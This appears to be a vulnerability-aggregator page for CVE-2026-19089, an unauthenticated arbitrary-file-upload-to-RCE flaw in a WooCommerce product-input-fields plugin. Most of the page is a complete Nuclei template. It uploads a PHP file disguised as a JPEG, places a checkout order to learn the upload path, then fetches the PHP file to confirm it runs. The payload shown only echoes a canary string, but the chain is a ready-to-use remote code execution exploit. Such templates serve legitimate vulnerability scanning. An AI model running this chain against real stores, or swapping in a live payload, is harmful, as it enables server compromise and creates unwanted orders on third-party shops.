CVE-2026-19089: Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE

2026-11-09 PoC Public

Description

WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.

Details

CVE
CVE-2026-19089 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-19089

info:
  name: Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE
  author: Het Kalariya
  severity: critical
  description: |
    WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload arbitrary files and execute code remotely, potentially leading to full server compromise.
  remediation: |
    Update to version 2.0.2 or later.
  reference:
    - https://wpscan.com/vulnerability/c5728a31-de92-40df-ab19-aec4db84ba21/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19089
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19089
    epss-score: 0.03232
    epss-percentile: 0.88347
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 7
    vendor: tychesoftwares
    product: product-input-fields-for-woocommerce
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,woocommerce,product-input-fields-for-woocommerce,fileupload,rce,intrusive

variables:
  shopper_email: "aev-canary@example.com"
  first_name: "Aev"
  last_name: "Canary"

http:
  - raw:
      - |
        GET /shop/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET {{product_path}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST {{product_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----pifcanary

        ------pifcanary
        Content-Disposition: form-data; name="add-to-cart"

        {{product_id}}
        ------pifcanary
        Content-Disposition: form-data; name="quantity"

        1
        ------pifcanary
        Content-Disposition: form-data; name="{{field_name}}"; filename="up.php"
        Content-Type: image/jpeg

        <?php echo "PIF_CANARY_" . (17 * 31) . "_PHP" . PHP_MAJOR_VERSION . "_OK"; ?>
        ------pifcanary--

      - |
        GET /wp-json/wc/store/v1/cart HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-json/wc/store/v1/checkout HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Nonce: {{nonce}}

        {"billing_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","email":"{{shopper_email}}","phone":"1234567"},"shipping_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","phone":"1234567"},"payment_method":"cod"}

      - |
        GET /wp-json/wc/store/v1/order/{{order_id}}?key={{order_key}}&billing_email={{shopper_email}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/woocommerce_uploads/alg_uploads/product_input_fields/{{item_id}}_up.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_path
        part: body
        internal: true
        regex:
          - 'href="https?://[^/"]*(/product/[A-Za-z0-9\-_]+/?)"'
        group: 1
      - type: regex
        name: product_id
        part: body
        internal: true
        regex:
          - 'name="add-to-cart"\s+value="(\d+)"'
        group: 1
      - type: regex
        name: field_name
        part: body
        internal: true
        regex:
          - '"fieldName":"(alg_wc_pif_global_\d+)","type":"file"'
          - 'type="file"[^>]{0,600}?name="(alg_wc_pif_global_\d+)"'
          - 'name="(alg_wc_pif_global_\d+)"[^>]{0,600}?type="file"'
        group: 1
      - type: regex
        name: nonce
        part: header
        internal: true
        regex:
          - '(?m)^Nonce:\s*(\S+)'
        group: 1
      - type: regex
        name: order_id
        part: body
        internal: true
        regex:
          - '"order_id":\s*(\d+)'
        group: 1
      - type: regex
        name: order_key
        part: body
        internal: true
        regex:
          - '"order_key":\s*"([^"]+)"'
        group: 1
      - type: regex
        name: item_id
        part: body
        internal: true
        regex:
          - '"items"\s*:\s*\[\s*\{[^}]{0,500}?"id":\s*(\d+)'
        group: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PIF_CANARY_527_PHP"
      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f6464e840ac231525c3dd8826a0e4f88e99e2c985e2ffb32ef892ee29d972621022034a25a6dfc2506d927c3399b89105f417b651cb3caed62fa7f288ddaa43d9c0e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life